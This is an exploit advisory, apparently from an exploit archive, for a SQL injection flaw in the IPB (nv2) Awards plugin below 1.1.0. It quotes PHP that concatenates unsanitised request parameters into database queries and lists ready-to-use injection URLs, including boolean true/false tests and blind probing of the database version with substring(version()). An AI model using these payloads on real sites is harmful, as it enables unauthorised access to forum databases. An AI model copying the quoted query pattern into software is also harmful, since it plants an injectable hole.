IPB (nv2) Awards < 1.1.0 - SQL Injection
################################################# + + Author: fred777 - [fred777.de] + Link: http://forums.invisionize.com/nv2-Awards-120-t137847.html + Vuln: index.php?autocom=awards&do=view&id=1 + Greetzz to: Back2hack.cc + Contact: nebelfrost77@googlemail.com + ################################################# --[ Vuln Code ] -- $this->ipsclass->DB->build_query( array( 'select' => 'a.user_id', 'from' => array( 'awarded' => 'a' ), 'where' => 'a.award_id=' . $this->ipsclass->input['id'], 'add_join' => array( 0 => array( 'select' => 'm.members_display_name', 'from' => array( 'members' => 'm' ), 'where' => 'm.id=a.user_id', 'type' => 'left', ) ), ) ); -------------------------------------------------------------------------------------- 'select' => '*', 'from' => 'awards', 'where' => 'id = "' . $_POST['award'] . '"', ) ); -------------------------------------------------------------------------------------- $award_dat['user_id'] = $_GET['id']; $award_dat['award_id'] = $_POST['award']; ################################################ --[ Exploitable ]-- http://server/index.php?autocom=awards&do=view&id=1[SQL INJECTION] http://server/index.php?autocom=awards&do=view&id=1+and+1=1 > true http://server/index.php?autocom=awards&do=view&id=1+and+1=0 > false http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5 http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4 ################################################ |